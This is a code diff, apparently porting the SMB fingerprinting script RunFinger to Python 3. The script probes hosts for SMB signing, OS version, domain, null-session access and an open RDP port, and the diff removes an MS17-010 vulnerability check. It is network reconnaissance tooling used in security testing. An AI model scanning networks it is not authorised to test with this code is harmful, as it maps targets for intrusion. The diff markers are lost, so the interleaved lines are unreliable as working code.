buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
s.close()
if data[8:10] == "\x72\x00":
return GetHostnameAndDomainName(data)
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
n = SMBNegoDataLanMan()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
s.close()
if data[8:10] == b'\x72\x00':
return GetHostnameAndDomainName(data)
except:
pass
pass
def SmbFinger(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
except:
pass
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
data = s.recv(2048)
signing = IsSigningEnabled(data)
if data[8:10] == "\x72\x00":
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x73\x16":
OsVersion, ClientVersion = OsNameClientVersion(data)
return signing, OsVersion, ClientVersion
except:
pass
def check_ms17_010(host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
except:
pass
try:
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == "\x75\x00":
head = SMBHeader(cmd="\x25",flag1="\x18", flag2="\x07\xc8",uid=data[32:34],tid=data[28:30],mid="\xc0\x00")
t = SMBTransRAPData()
t.calculate()
packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1
s.send(buffer1)
signing = IsSigningEnabled(data)
if data[8:10] == b'\x72\x00':
head = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
t = SMBSessionFingerData()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer1))
data = s.recv(2048)
if data[9:13] == "\x05\x02\x00\xc0":
return True
else:
return False
else:
return False
except Exception as err:
return False
if data[8:10] == b'\x73\x16':
OsVersion, ClientVersion = OsNameClientVersion(NetworkRecvBufferPython2or3(data))
return signing, OsVersion, ClientVersion
except:
pass
def check_smb_null_session(host):
s = socket(AF_INET, SOCK_STREAM)
@ -191,65 +187,86 @@ def check_smb_null_session(host):
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(buffer0)
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == "\x75\x00":
if data[8:10] == b'\x72\x00':
h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",mid="\x40\x00")
n = SMBSessionData()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x73\x16':
h = SMBHeader(cmd="\x73",flag1="\x18", flag2="\x17\xc8",uid=data[32:34].decode('latin-1'),mid="\x80\x00")
n = SMBSession2()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x73\x00':
h = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",uid=data[32:34].decode('latin-1'),mid="\xc0\x00")
n = SMBTreeConnectData()
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(2048)
if data[8:10] == b'\x75\x00':
return True
else:
return False
except Exception:
pass
return False
##################
#run it
def ShowResults(Host):
try:
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
NullSess = check_smb_null_session(Host)
if MS17010Check:
Ms17010 = check_ms17_010(Host)
print "Retrieving information for %s..."%Host[0]
print "SMB signing:", Signing
print "Null Sessions Allowed:", NullSess
print "Vulnerable to MS17-010:", Ms17010
print "Server Time:", Time[1]
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
else:
print "Retrieving information for %s..."%Host[0]
print "SMB signing:", Signing
print "Null Sessions Allowed:", NullSess
print "Server Time:", Time[1]
print "OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)
print "Machine Hostname: '%s'\nThis machine is part of the '%s' domain\n"%(Hostname, DomainJoined)
Hostname, DomainJoined, Time = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session((Host, 445))
print(("Retrieving information for %s..."%(Host)))
print(("SMB signing: %s"%(Signing)))
print(("Null Sessions Allowed: %s"%(NullSess)))
print(("Server Time: %s"%(Time[1])))
print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
except:
pass
pass
def ShowSmallResults(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
s.settimeout(Timeout)
s.connect((Host, 445))
except:
return False
return False
try:
if MS17010Check:
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
NullSess = check_smb_null_session(Host)
Ms17010 = check_ms17_010(Host)
message_ms17010 = ", MS17-010: {}".format(Ms17010)
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {} {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess, message_ms17010))
else:
Hostname, DomainJoined, Time = DomainGrab(Host)
Signing, OsVer, LanManClient = SmbFinger(Host)
NullSess = check_smb_null_session(Host)
print("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: {}".format(Host[0], OsVer, DomainJoined, Signing, Time[1],NullSess))
Hostname, DomainJoined, Time = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session((Host, 445))
print(("['{}', Os:'{}', Domain:'{}', Signing:'{}', Time:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, Time[1],NullSess,IsRDPOn((Host,3389)))))
except Exception as err:
pass
def IsRDPOn(Host):
s = socket(AF_INET, SOCK_STREAM)
try:
s.settimeout(Timeout)
s.connect(Host)
if s:
return True
else:
return False
except Exception as err:
return False
def RunFinger(Host):
m = re.search("/", str(Host))
if m:
@ -262,13 +279,13 @@ def RunFinger(Host):
else:
func = ShowResults
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
p = multiprocessing.Process(target=func, args=((host,445),))
p = multiprocessing.Process(target=func, args=((host),))
threads.append(p)
p.start()
else:
if options.grep_output:
ShowSmallResults((Host,445))
ShowSmallResults(Host)
else:
ShowResults((Host,445))
ShowResults(Host)
RunFinger(Host)

View file

@ -1,24 +1,33 @@
import random, struct
import random, struct, sys
from socket import *
from time import sleep
from odict import OrderedDict
def longueur(payload):
length = struct.pack(">i", len(''.join(payload)))
return length
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
class Packet():
fields = OrderedDict([
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
for k,v in list(kw.items()):
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
return "".join(map(str, list(self.fields.values())))
class SMBHeader(Packet):
fields = OrderedDict([
@ -42,9 +51,9 @@ class SMBNego(Packet):
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
@ -101,7 +110,7 @@ class SMBSessionData(Packet):
("wordcount", "\x0c"),
("AndXCommand", "\xff"),
("reserved","\x00" ),
("andxoffset", "\xec\x00"),
("andxoffset", "\xec\x00"),
("maxbuff","\x04\x11"),
("maxmpx", "\x32\x00"),
("vcnum","\x00\x00"),
@ -131,8 +140,8 @@ class SMBSessionData(Packet):
("NegTokenInitSeqNLMPTag2Octet","\x04"),
("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
("NegTokenInitSeqMechSignature","\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
("NegTokenInitSeqMechMessageType","\x01\x00\x00\x00"),
("NegTokenInitSeqMechMessageFlags","\x07\x82\x08\xa2"),
("NegTokenInitSeqMechMessageType","\x01\x00\x00\x00"),
("NegTokenInitSeqMechMessageFlags","\x07\x82\x08\xa2"),
("NegTokenInitSeqMechMessageDomainNameLen","\x00\x00"),
("NegTokenInitSeqMechMessageDomainNameMaxLen","\x00\x00"),
("NegTokenInitSeqMechMessageDomainNameBuffOffset","\x00\x00\x00\x00"),
@ -145,13 +154,13 @@ class SMBSessionData(Packet):
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le')),
("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le').decode('latin-1')),
("nativeOsterminator","\x00\x00"),
("nativelan","Windows 2002 5.1".encode('utf-16le')),
("nativelan","Windows 2002 5.1".encode('utf-16le').decode('latin-1')),
("nativelanterminator","\x00\x00\x00\x00"),
])
def calculate(self):
def calculate(self):
data1 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
@ -170,33 +179,33 @@ class SMBSessionData(Packet):
data9 = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
## Packet len
self.fields["andxoffset"] = struct.pack("<H", len(data9)+32)
self.fields["andxoffset"] = StructWithLenPython2or3("<H", len(data9)+32)
##Buff Len
self.fields["securitybloblength"] = struct.pack("<H", len(data1))
self.fields["securitybloblength"] = StructWithLenPython2or3("<H", len(data1))
##Complete Buff Len
self.fields["bcc1"] = struct.pack("<H", len(data5))
self.fields["bcc1"] = StructWithLenPython2or3("<H", len(data5))
##App Header
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(data2))
self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3("<B", len(data2))
##Asn Field 1
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
self.fields["AsnSecMechLen"] = StructWithLenPython2or3("<B", len(str(self.fields["AsnSecMechStr"])))
##Asn Field 1
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
self.fields["ChoosedTagStrLen"] = StructWithLenPython2or3("<B", len(data3))
##SpNegoTokenLen
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
self.fields["NegTokenInitSeqHeadLen"] = StructWithLenPython2or3("<B", len(data4))
##NegoTokenInit
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10))
self.fields["NegTokenInitSeqHeadLen1"] = StructWithLenPython2or3("<B", len(data10))
## Tag0 Len
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
self.fields["NegTokenInitSeqNLMPLen"] = StructWithLenPython2or3("<B", len(data11))
## Tag0 Str Len
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
self.fields["NegTokenInitSeqNLMPTag1Len"] = StructWithLenPython2or3("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
## Tag2 Len
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
self.fields["NegTokenInitSeqNLMPTag2Len"] = StructWithLenPython2or3("<B", len(data6))
## Tag3 Len
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(data7))
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = StructWithLenPython2or3("<B", len(data7))
#########################################################################################################
@ -214,10 +223,10 @@ class SMBSession2(Packet):
("reserved2","\x00\x00\x00\x00"),
("capabilities", "\xd4\x00\x00\xa0"),
("bcc1","\xbf\x00"),
("ApplicationHeaderTag","\xa1"),
("ApplicationHeaderLen","\x57"),
("AsnSecMechType","\x30"),
("AsnSecMechLen","\x55"),
("ApplicationHeaderTag","\xa1"),
("ApplicationHeaderLen","\x57"),
("AsnSecMechType","\x30"),
("AsnSecMechLen","\x55"),
("ChoosedTag","\xa2"),
("ChoosedTagLen","\x53"),
("ChoosedTag1","\x04"),
@ -227,14 +236,14 @@ class SMBSession2(Packet):
("NLMPAuthMsgLMChallengeLen","\x01\x00"),
("NLMPAuthMsgLMChallengeMaxLen","\x01\x00"),
("NLMPAuthMsgLMChallengeBuffOffset","\x50\x00\x00\x00"),
("NLMPAuthMsgNtChallengeResponseLen","\x00\x00"),
("NLMPAuthMsgNtChallengeResponseMaxLen","\x00\x00"),
("NLMPAuthMsgNtChallengeResponseLen","\x00\x00"),
("NLMPAuthMsgNtChallengeResponseMaxLen","\x00\x00"),
("NLMPAuthMsgNtChallengeResponseBuffOffset","\x51\x00\x00\x00"),
("NLMPAuthMsgNtDomainNameLen","\x00\x00"),
("NLMPAuthMsgNtDomainNameMaxLen","\x00\x00"),
("NLMPAuthMsgNtDomainNameBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgNtUserNameLen","\x00\x00"),
("NLMPAuthMsgNtUserNameMaxLen","\x00\x00"),
("NLMPAuthMsgNtUserNameLen","\x00\x00"),
("NLMPAuthMsgNtUserNameMaxLen","\x00\x00"),
("NLMPAuthMsgNtUserNameBuffOffset","\x48\x00\x00\x00"),
("NLMPAuthMsgNtWorkstationLen","\x08\x00"),
("NLMPAuthMsgNtWorkstationMaxLen","\x08\x00"),
@ -261,14 +270,14 @@ class SMBSession2(Packet):
])
def calculate(self):
def calculate(self):
self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le')
self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le')
self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le')
self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le').decode('latin-1')
self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le').decode('latin-1')
self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le')
self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le')
self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le').decode('latin-1')
self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le').decode('latin-1')
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
@ -290,39 +299,39 @@ class SMBSession2(Packet):
CalculateNTChallengeOffset = str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])
## Packet len
self.fields["andxoffset"] = struct.pack("<i", len(CompletePacketLen)+32)[:2]
self.fields["andxoffset"] = StructWithLenPython2or3("<i", len(CompletePacketLen)+32)[:2]
##Buff Len
self.fields["securitybloblength"] = struct.pack("<i", len(SecurityBlobLen))[:2]
self.fields["securitybloblength"] = StructWithLenPython2or3("<i", len(SecurityBlobLen))[:2]
##Complete Buff Len
self.fields["bcc1"] = struct.pack("<i", len(SecurityBlobBCC))[:2]
self.fields["bcc1"] = StructWithLenPython2or3("<i", len(SecurityBlobBCC))[:2]
## Guest len check
self.fields["ApplicationHeaderLen"] = struct.pack("<i", len(SecurityBlobLen)-2)[:1]
self.fields["AsnSecMechLen"] = struct.pack("<i", len(SecurityBlobLen)-4)[:1]
self.fields["ChoosedTagLen"] = struct.pack("<i", len(SecurityBlobLen)-6)[:1]
self.fields["ChoosedTag1StrLen"] = struct.pack("<i", len(SecurityBlobLen)-8)[:1]
self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-2)[:1]
self.fields["AsnSecMechLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-4)[:1]
self.fields["ChoosedTagLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-6)[:1]
self.fields["ChoosedTag1StrLen"] = StructWithLenPython2or3("<i", len(SecurityBlobLen)-8)[:1]
##### Username Offset Calculation..######
self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = struct.pack("<i", len(CalculateUserOffset))
self.fields["NLMPAuthMsgNtUserNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
self.fields["NLMPAuthMsgNtUserNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
self.fields["NLMPAuthMsgNtUserNameBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateUserOffset))
self.fields["NLMPAuthMsgNtUserNameLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
self.fields["NLMPAuthMsgNtUserNameMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtUserName"])))[:2]
##### Domain Offset Calculation..######
self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = struct.pack("<i", len(CalculateDomainOffset))
self.fields["NLMPAuthMsgNtDomainNameLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
self.fields["NLMPAuthMsgNtDomainNameBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateDomainOffset))
self.fields["NLMPAuthMsgNtDomainNameLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
self.fields["NLMPAuthMsgNtDomainNameMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtDomainName"])))[:2]
##### Workstation Offset Calculation..######
self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateWorkstationOffset))
self.fields["NLMPAuthMsgNtWorkstationLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
self.fields["NLMPAuthMsgNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateWorkstationOffset))
self.fields["NLMPAuthMsgNtWorkstationLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
self.fields["NLMPAuthMsgNtWorkstationMaxLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNtWorkstationName"])))[:2]
##### NT Challenge Offset Calculation..######
self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = struct.pack("<i", len(CalculateNTChallengeOffset))
self.fields["NLMPAuthMsgNtChallengeResponseLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"] = struct.pack("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateNTChallengeOffset))
self.fields["NLMPAuthMsgNtChallengeResponseLen"] = StructWithLenPython2or3("<i", len(str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])))[:2]
